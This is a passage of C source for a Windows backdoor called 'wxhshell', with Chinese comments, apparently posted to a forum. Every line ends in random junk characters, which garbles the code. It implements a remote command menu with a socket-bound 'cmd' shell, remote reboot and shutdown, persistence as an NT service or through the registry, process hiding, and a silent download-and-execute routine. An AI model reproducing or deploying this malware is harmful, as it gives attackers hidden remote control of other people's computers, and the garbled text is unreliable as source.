    switch(cmd[0]) { q\G7T{t$.  
  em9nuXG  
  // 帮助 u\3=m%1  
  case '?': { BC)1FxsGf  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); P]0/S  
    break; f+%s.[;A  
  } QKIg5I-  
  // 安装 J(5#fo{Q.g  
  case 'i': { 97pfMk1_  
    if(Install()) gn:&akg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2-%9k)KH  
    else Ce:w^P+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #'5{ ?Cb  
    break; 0"l`M5-KP  
    } r8Z.}<j  
  // 卸载 K2gF;(  
  case 'r': { b/d 1(B@  
    if(Uninstall()) hz+c]K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {Fvl7Sh  
    else skF}_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g~XR#vl$  
    break; $"g'C8  
    } XZ:6A]62I  
  // 显示 wxhshell 所在路径 ,rX|_4 n*  
  case 'p': { Mu@(^zW  
    char svExeFile[MAX_PATH]; 1cS*T>`  
    strcpy(svExeFile,"\n\r"); {$I1(DYN  
      strcat(svExeFile,ExeFile); m U= 3w  
        send(wsh,svExeFile,strlen(svExeFile),0); j/F:j5O*  
    break; :Q}Zb,32  
    } L]E.TvM1*  
  // 重启 y?UB?2 VN  
  case 'b': { 3F$N@K~s  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /H$:Q|T}  
    if(Boot(REBOOT)) y;f nC5Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Yv3 P]6c.  
    else { Ap> H-/C  
    closesocket(wsh); !`dMTW  
    ExitThread(0); C3KAQ U  
    } G_ #MXFWt  
    break; _e "  
    } yJdkDVxYr  
  // 关机 TiKfIv  
  case 'd': { +&.39q !  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 'VV"$`Fu"  
    if(Boot(SHUTDOWN)) bUe6f,8,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0GQKM~|H  
    else { s0'6r$xj  
    closesocket(wsh); p3qKtMs0!  
    ExitThread(0); F1/BtGvQE  
    } <m*j1|^{t  
    break; HE-ErEtGB  
    } >gDKkeLD  
  // 获取shell f.:0T&%G  
  case 's': { NYeL1h)l  
    CmdShell(wsh); lt%9Zgr[u  
    closesocket(wsh); QG5 c>Q  
    ExitThread(0); Y8/&1s_  
    break; mcWN.  
  } UPkc-^BN  
  // 退出 /}S1e P6  
  case 'x': { Kc`#~-`,(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @Py?.H   
    CloseIt(wsh); ufN`=IJ%  
    break; &H%z1Lp  
    } 4{%-r[C9k  
  // 离开 j3fq}>=  
  case 'q': { ,#hNHFa'JH  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); GK{~n  
    closesocket(wsh); '\P+Bu]6&  
    WSACleanup(); 58]t iP"  
    exit(1); q)N^  
    break; !(sL  
        } 1n#{c5T  
  } 6>[J^k%~w)  
  } /U="~{*-R  
_r`(P#Hy  
  // 提示信息  @4>?Y=#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); IeB^BD+j  
} <q=]n%nX  
  } BLb'7`t  
Lt {&v ^y  
  return; $S U<KNMZ  
} MX7$f (Hy  
bK|nxL  
// shell模块句柄 $Q`\-  
int CmdShell(SOCKET sock) JR|P]}  
{ R".*dC,0'B  
STARTUPINFO si; %Z yt;p2  
ZeroMemory(&si,sizeof(si)); oSH]TL2@Cd  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *s!T$oc  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; D\  P-|}  
PROCESS_INFORMATION ProcessInfo; QLZ%m$Z  
char cmdline[]="cmd"; M2M&L,/O  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }KV)F,`  
  return 0; @XH@i+ {B  
} YGZa##i  
:D:J_{HJ  
// 自身启动模式 i7`/"5I  
int StartFromService(void) ^F-AZP /5F  
{ Y~U WUF%aK  
typedef struct Xnxb.{C  
{ K?=g IC:  
  DWORD ExitStatus; .WlZT-  
  DWORD PebBaseAddress; M"8?XD%  
  DWORD AffinityMask; RYM[{]4b5F  
  DWORD BasePriority; n&FRjq9y  
  ULONG UniqueProcessId; Oma G|2u  
  ULONG InheritedFromUniqueProcessId; |w.5*]?H  
}   PROCESS_BASIC_INFORMATION; jC'Diu4|Q  
VpB+|%@p  
PROCNTQSIP NtQueryInformationProcess; B{NGrC`5)  
uD:tT ~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3EyVoS6D  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; I_ na^s h*  
S~{ }j vc  
  HANDLE             hProcess; -7m7.>/M  
  PROCESS_BASIC_INFORMATION pbi; Edl .R}&1  
M1XzA `*  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,h'omU7  
  if(NULL == hInst ) return 0; 9j$J}=y  
e;&fO[ 2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); fUB+9G(Bx  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _8OSDW*D5t  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Og"\@n  
;})s o  
  if (!NtQueryInformationProcess) return 0; |$c~Jq  
iuEQ?fp  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); rq^VOK|L  
  if(!hProcess) return 0; >>0c)uC|W  
u]Dds;~"b  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $%5!CD1)  
Ufe@G\uyI  
  CloseHandle(hProcess); xBAASy  
@%[ VegT  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); PYW>  
if(hProcess==NULL) return 0; m"mU:-jk`  
o`\@Yq$.  
HMODULE hMod; m/NXifi8l  
char procName[255]; 8\CmM\R  
unsigned long cbNeeded; mjbV^^>  
*x&y24  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); yx/.4DW1Ua  
}G 1hB#j  
  CloseHandle(hProcess); 3+iQct[  
S{c;n*xf  
if(strstr(procName,"services")) return 1; // 以服务启动 GsC4ty  
}B2qtb3  
  return 0; // 注册表启动 G:{\-R'  
} |=ljN7]!  
*]* D^'  
// 主模块 =idZvD  
int StartWxhshell(LPSTR lpCmdLine) x|<89o L  
{ +v"%@lC};  
  SOCKET wsl; \UBQ:+3  
BOOL val=TRUE; ^ot9Q  
  int port=0; "SN+ ^`  
  struct sockaddr_in door; nAW`G'V#  
?$AWY\  
  if(wscfg.ws_autoins) Install(); R%^AW2   
glP W9q,f  
port=atoi(lpCmdLine); *p7_rY  
^_pJEX  
if(port<=0) port=wscfg.ws_port; '.d]n(/lZd  
y`.m'n7>P  
  WSADATA data; J9yB'yE8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5mB'\xGO2  
Z;nUS,?om  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <Z8^.t)|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +K03yphZr  
  door.sin_family = AF_INET; Yq0=4#_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); X"3Za[9j  
  door.sin_port = htons(port); r&c31k]E  
]<?7Cp P  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { D'3. T{*rH  
closesocket(wsl); D!CuE7}  
return 1; Ba /^CS  
} %t<ba[9F  
$yg=tWk  
  if(listen(wsl,2) == INVALID_SOCKET) { O\KSPy7YQ  
closesocket(wsl); >@c~M  
return 1; *]RCfHo\=  
} Wg ?P"  
  Wxhshell(wsl); ?^H1X-;  
  WSACleanup(); k=):>}  
-C<Ni  
return 0; .WT^L2l%  
FkJX)  
} !wZ  9P  
sCE2 F_xjL  
// 以NT服务方式启动 N_Y*Z`Xb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %1jApCJ  
{ [#-!&>  
DWORD   status = 0; !@vM@Z"  
  DWORD   specificError = 0xfffffff; "~HV!(dRMC  
>hbT'Or@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; t=Um@;wh  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }./_fFN@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Jf{ M[ z  
  serviceStatus.dwWin32ExitCode     = 0; 3 JR1If  
  serviceStatus.dwServiceSpecificExitCode = 0; x3++JG  
  serviceStatus.dwCheckPoint       = 0; Vdz(\-}ao  
  serviceStatus.dwWaitHint       = 0; }475c{  
]9}T)D f'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); bhb*,iWA  
  if (hServiceStatusHandle==0) return; w(xRL#%  
Lv{xwHnE  
status = GetLastError(); + $x;FT&  
  if (status!=NO_ERROR) "=BO,see9  
{ _%$(D"^j  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2!4.L&Ki  
    serviceStatus.dwCheckPoint       = 0; }lzQMT  
    serviceStatus.dwWaitHint       = 0; 7JNy;$]/  
    serviceStatus.dwWin32ExitCode     = status; l6S6Y  
    serviceStatus.dwServiceSpecificExitCode = specificError; )5Bkm{v3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 96.z\[0VZ  
    return; ,t]qe  
  } A' \jaB  
G2,r %|7ta  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @}e'(ju%R  
  serviceStatus.dwCheckPoint       = 0; Bw[jrK  
  serviceStatus.dwWaitHint       = 0; /@H2m\vBX  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); OZ$"P<X_"  
} Sl{nS1q  
B !(t<W8cu  
// 处理NT服务事件,比如:启动、停止 v0dFP0.;&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) O&:0mpRZ  
{ $pT%7jV}  
switch(fdwControl) g1uqsqYt  
{ ?]=fC{Rh  
case SERVICE_CONTROL_STOP: Qw$"W/&X  
  serviceStatus.dwWin32ExitCode = 0; LxGE<xj|V%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; P'Fy,fNg  
  serviceStatus.dwCheckPoint   = 0; ItTIU  
  serviceStatus.dwWaitHint     = 0; t|X |67W  
  { 8dw]i1t<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); / -=(51}E  
  } k:4?3zJI  
  return; $l&&y?()  
case SERVICE_CONTROL_PAUSE: 2.2Z'$W  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; xrT_ro8  
  break; G5Ci"0  
case SERVICE_CONTROL_CONTINUE: c= 2e?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |zu>G9m  
  break; 7F-b/AdVq  
case SERVICE_CONTROL_INTERROGATE: `~(C\+gUp  
  break; j8os6I  
}; ~MY (6P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l\^q7cXG  
} 4[3T%jA  
2t { Cpw  
// 标准应用程序主函数 R7KQ-+Zb  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) EGwY|+3  
{ L\og`L)5\  
F!>K8q  
// 获取操作系统版本 dITnPb)i  
OsIsNt=GetOsVer(); ](0 Vm_es  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >B~jPU  
^@L[0Z`  
  // 从命令行安装 BHmA*3?  
  if(strpbrk(lpCmdLine,"iI")) Install(); Wsz='@XvB  
pOI+  
  // 下载执行文件  ioi  
if(wscfg.ws_downexe) { 7IJb$af:;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) QBsDO].J<  
  WinExec(wscfg.ws_filenam,SW_HIDE); Xs?7Whc6  
} GIVs)~/Eq  
`A <yDy  
if(!OsIsNt) { Vd<= y  
// 如果时win9x,隐藏进程并且设置为注册表启动 :=L[kzX  
HideProc(); ,f?#i%EF&  
StartWxhshell(lpCmdLine); ,.`^Wx6F  
} Mty]LMK  
else 4_.k Q"'DH  
  if(StartFromService()) jPU# {Wo#  
  // 以服务方式启动 Z `\7B e  
  StartServiceCtrlDispatcher(DispatchTable); f!$J_dz  
else aJ)5DlfLR  
  // 普通方式启动 z~ u@N9M  
  StartWxhshell(lpCmdLine); qfYb\b  
Zc4hjg  
return 0; _SP u`=~K  
}
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只看该作者 1 发表于: 2006-10-10
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